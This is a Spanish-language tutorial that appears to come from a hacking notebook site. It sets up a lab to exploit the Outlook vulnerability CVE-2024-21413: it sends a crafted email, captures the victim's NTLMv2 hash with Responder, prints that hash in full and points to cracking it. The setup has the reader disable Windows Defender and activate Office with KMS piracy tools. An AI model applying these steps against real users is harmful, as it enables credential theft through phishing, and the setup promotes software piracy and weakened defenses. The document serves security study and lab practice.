> For the complete documentation index, see [llms.txt](https://dise0.gitbook.io/h4cker_b00k/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://dise0.gitbook.io/h4cker_b00k/articulos/cve-2024-21413-outlook.md).

# CVE-2024-21413 (Outlook)

Lo que primero tendremos que hacer es instalar en nuestro `hipervisor` un `Windows 10`, una vez estando dentro de la maquina tendremos que ejecutar los siguiente comandos.

## <mark style="color:purple;">Instalación laboratorio</mark>

### hMailServer

Tendremos que crear un servidor en local para crear los dos correos los cuales uno sera el del `atacante` y otro el de la `victima`, por lo que tendremos que descargar la herramienta llamada `hMailServer` para `Windows`.

URL = [Download hMailServer](https://www.hmailserver.com/download_getfile?performdownload=1\&downloadid=271)

> NOTA IMPORTANTE

Antes de instalar `hMailServer` puede ser que de un error en la instalacion, por lo que instalaremos de forma manual una dependencia que necesita dicho programa llamada `NetFx20SP1_x64`, nos la descargaremos en el siguiente link:

URL = [Download NetFx20SP1\_x64](https://drive.google.com/file/d/1GEG5UAsorn_E4qliTwQ9Rf6Y51SOaF9W/view?usp=sharing)

Una vez instalado dicha dependencia ejecutaremos el instalador de `hMailServer`, una vez que se haya instalado siguiendo todos los pasos por defecto (Estableceremos una contraseña para el servidor en el proceso de instalacion), abriremos el ejecutable y nos aparecera una pantalla como esta:

<figure><img src="https://4289632959-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F5Wk1VNaLaqCTbfMb7tfp%2Fuploads%2F0VBsyBwBXX2OYTRplM0R%2Fimage.png?alt=media&amp;token=d876057b-6b2d-4341-8627-e00177bc506b" alt=""><figcaption></figcaption></figure>

Tendremos que darle a `Connect`, meteremos las `password` que configuramos anteriormente en el proceso de instalacion y le daremos a `Ok`, esto nos metera en un menu con las opciones del servidor de correo, las cuales tendremos que configurar de la siguiente forma:

Le daremos a `Add Domain...` -> En la parte de `Domain` pondremos el dominio que queremos que tenga, por ejemplo `victim.local` -> `Save`

Y con esto habremos creado el dominio, si nos vamos a la parte de `Domains` -> `<NUESTRO_DOMINIO>` -> `Accounts` -> le daremos `Add...` para añadir una cuenta de correo bajo dicho dominio, por lo que le nombraremos por ejemplo en `Address` como `victim` -> `Save` y el mism proceso pero creando el de `attacker`, quedando algo asi:

<figure><img src="https://4289632959-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F5Wk1VNaLaqCTbfMb7tfp%2Fuploads%2FZw3W1F3J61p3vr7Byqat%2Fimage.png?alt=media&amp;token=43b9e255-eddd-431b-bbda-7583ec4298ab" alt=""><figcaption></figcaption></figure>

Ahora nos iremos a la seccion de `Settings` -> `Protocols` -> `SMTP` -> `Delivery of e-mail` -> en `localhost name` pondremos la IP de la maquina victima y en `SMTP Relayer` -> `Remote Host Name` pondremos la misma IP de la maquina victima

Con esto ya estaria configurado nuestro servidor de correo.

### Office + Outlook

Tendremos que instalar `Office` para de ahi instalar solo `Outlook`, por lo que utilizaremos una herramienta llamada `KMSTools`:

URL = [Download KMSTools](https://drive.google.com/file/d/14nq443DbRFrAuaYhlfApX5MznFVrP2mq/view?usp=sharing)

Tendremos que desactivar el `Windows Defender` para descomprimir y ejecutar esta herramienta:

Buscaremos `Seguridad de Windows` -> `Proteccion Antivirus y contra amenazas` -> `Configuracion de Antivirus y contra amenazas` -> `Administrar la configuracion` -> Desactivamos la casilla de `Proteccion en tiempo real`.

Una vez echo esto descomprimiremos el archivo, lo que sera una carpeta que usaremos mas adelante y el ejecutable llamado `KMSTools.exe`, se abrira una interfaz en la que pulsaremos `Instalar Office 2019` y nos aparecera una ventana en la que tendremos que seleccionar la arquitectura de `x64`, el idioma en `es-ES` y deseleccionar todo dejando solo la opcion de `Outlook` de la parte izquierda, le daremos a `Instalar`.

Una vez que se haya instalado todo correctamente, abriremos la carpeta llamada `Programs` -> `KMSAuto Lite Portable v1.5.5` -> Ejecutamos el archivo llamado `KMSAuto x64.exe`.

Con esto lo que haremos sera activar `Office` con una licencia, seleccionaremos `Activar Office` cuando nos pregunte si estamos seguros le daremos a que `si`, este proceso puede tardar un poco, pero cuando ponga `Succesful` significa que ya podremos abrir `OutLook` de forma activada y con licencia.

### Añadir cuentas de correo a Outlook

Tendremos que abrir `Outlook`, si lo abrimos por primera vez nos aparecera algo asi:

<figure><img src="https://4289632959-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F5Wk1VNaLaqCTbfMb7tfp%2Fuploads%2FUbfU5LiIupNrLpF8xolf%2Fimage.png?alt=media&amp;token=0d9205a2-38bb-452d-8ede-d4cd7cd3c3bb" alt=""><figcaption></figcaption></figure>

Por lo que en esa parte tendremos que poner la primera cuenta de correo que en mi caso seria `victim@victim.local` seguir todos los pasos para añadir la cuenta y seguidamente añadir otra que seria la de `attacker@victim.local` asignandole una contraseña a cada una de ellas, una vez terminado el proceso de añadir dichas cuentas, ya podremos intentar explotar dicha vulenrabilidad.

En tal caso de que ya tengamos el `Outlook` con unas cuentas, para añadir mas tendremos que darle a `Archivo` -> `Informacion` -> `Agregar Cuenta`

## <mark style="color:purple;">Explotación CVE-2024-21413</mark>

Como ya tendremos añadidas las cuentas de correo en dicha maquina, podremos hacerlo con los scripts que estan en el siguiente repositorio:

URL = GitHub CVE-2024-21413

> NOTA

En un entorno real se tendra que utilizar alguna cuenta de correo en forma de suplantacion o un `phishing` para obtener dicho correo.

Una vez teniendo los scripts, tendremos que ejecutar primero:

```shell
python3 exploitSendEmailOutlook.py
```

Info:

```
╭─────────────────────────────────────────────────────────────────────────────────── Email Exploit Tool ────────────────────────────────────────────────────────────────────────────────────╮
│ Herramienta de Envío de Correo Exploit                                                                                                                                                    │
│ Automatiza el envío de correos con fines educativos y de prueba.                                                                                                                          │
╰───────────────────────────────────────────────────────────────────────────────────── Creador: d1se0 ──────────────────────────────────────────────────────────────────────────────────────╯
Introduce el correo electrónico del remitente (attacker): attacker@victim.local 
Introduce el correo electrónico del destinatario (victim): victim@victim.local
Introduce la contraseña del remitente: 
Introduce la IP del servidor SMTP: 192.168.5.194

Resumen de la información ingresada:
- Remitente: attacker@victim.local
- Destinatario: victim@victim.local
- Servidor SMTP IP: 192.168.5.194
¿Quieres proceder con el envío del correo? (si/no) [s/n]: s

Intentando conectar al servidor SMTP...
Conexión establecida con el servidor SMTP.
Intentando iniciar sesión en el servidor SMTP...
Autenticación exitosa.
Enviando correo...
Correo enviado exitosamente.
```

Para enviar el correo a la victima siguiendo los pasos del script, despues tendremos que ejecutar seguidamente el siguiente script:

```shell
python3 captureHashResponder.py
```

Info:

```
╭──────────────────────────────────────────────────────────────────── Responder Runner ─────────────────────────────────────────────────────────────────────╮
│ Herramienta de Ejecución de Responder                                                                                                                     │
│ Un script para ejecutar el comando Responder con estilo.                                                                                                  │
╰───────────────────────────────────────────────────────────────────── Creador: d1se0 ──────────────────────────────────────────────────────────────────────╯
Introduce la interfaz de red (ejemplo: eth0, wlan0, etc.): eth0
Has seleccionado la interfaz: eth0
¿Quieres proceder con el comando? (si/no) [s/n]: s
Ejecutando comando: sudo responder -I {interface} -v
                                         __
  .----.-----.-----.-----.-----.-----.--|  |.-----.----.
  |   _|  -__|__ --|  _  |  _  |     |  _  ||  -__|   _|
  |__| |_____|_____|   __|_____|__|__|_____||_____|__|
                   |__|

           NBT-NS, LLMNR & MDNS Responder 3.1.4.0

  To support this project:
  Github -> https://github.com/sponsors/lgandx
  Paypal  -> https://paypal.me/PythonResponder

  Author: Laurent Gaffie (laurent.gaffie@gmail.com)
  To kill this script hit CTRL-C


[+] Poisoners:
    LLMNR                      [ON]
    NBT-NS                     [ON]
    MDNS                       [ON]
    DNS                        [ON]
    DHCP                       [OFF]

[+] Servers:
    HTTP server                [ON]
    HTTPS server               [ON]
    WPAD proxy                 [OFF]
    Auth proxy                 [OFF]
    SMB server                 [ON]
    Kerberos server            [ON]
    SQL server                 [ON]
    FTP server                 [ON]
    IMAP server                [ON]
    POP3 server                [ON]
    SMTP server                [ON]
    DNS server                 [ON]
    LDAP server                [ON]
    MQTT server                [ON]
    RDP server                 [ON]
    DCE-RPC server             [ON]
    WinRM server               [ON]
    SNMP server                [OFF]

[+] HTTP Options:
    Always serving EXE         [OFF]
    Serving EXE                [OFF]
    Serving HTML               [OFF]
    Upstream Proxy             [OFF]

[+] Poisoning Options:
    Analyze Mode               [OFF]
    Force WPAD auth            [OFF]
    Force Basic Auth           [OFF]
    Force LM downgrade         [OFF]
    Force ESS downgrade        [OFF]

[+] Generic Options:
    Responder NIC              [eth0]
    Responder IP               [192.168.5.186]
    Responder IPv6             [fe80::30c1:636f:f2b6:3224]
    Challenge set              [random]
    Don't Respond To Names     ['ISATAP', 'ISATAP.LOCAL']

[+] Current Session Variables:
    Responder Machine Name     [WIN-398S1PLA1HZ]
    Responder Domain Name      [7FKZ.LOCAL]
    Responder DCE-RPC Port     [46910]

[+] Listening for events...
```

Para estar a la escucha cuando el usuario clicke el enlace y nos llegue los `hashes` `NTLMv2`

El usuario en la maquina `Windows` podremos ver que nos llega el correo, por lo que si le damos a `Click aqui`, tendremos que confirmar que `si` a que queremos continuar y nos dara un error, por que sea esta intentando conectar a un recurso `samba` que no existe, para el usuario sera algo normal, pero en la maquina atacante, podremos ver que obtuvimos el `hash NTLMv2` del usuario donde tenemos la escucha.

```
[HTTP] Sending NTLM authentication request to 192.168.5.194
[WebDAV] NTLMv2 Client   : 192.168.5.194
[WebDAV] NTLMv2 Username : DESKTOP-LAJ79G5\victim
[WebDAV] NTLMv2 Hash     : victim::DESKTOP-LAJ79G5:adaa9c32fec22d78:1421E09CFD2A7473B5823C9B0DC85837:0101000000000000A95CFDFA3546DB0116F397A8DD6E6C2900000000020008004700370036004D0001001E00570049004E002D00570055004C0051004D0042004D0052005A0056004400040014004700370036004D002E004C004F00430041004C0003003400570049004E002D00570055004C0051004D0042004D0052005A00560044002E004700370036004D002E004C004F00430041004C00050014004700370036004D002E004C004F00430041004C00080030003000000000000000000000000030000038EBDB2DDF593E53E76A4E873E3326621E3F5AC29A4DCBD27FC921C7BF0B5A6B0A0010000000000000000000000000000000000009002E0048005400540050002F00760069006300740069006D002E006C006F00630061006C0064006F006D00610069006E000000000000000000
```

Por lo que ya tendremos que intentar crackearlo con `john` o `hashcat`.
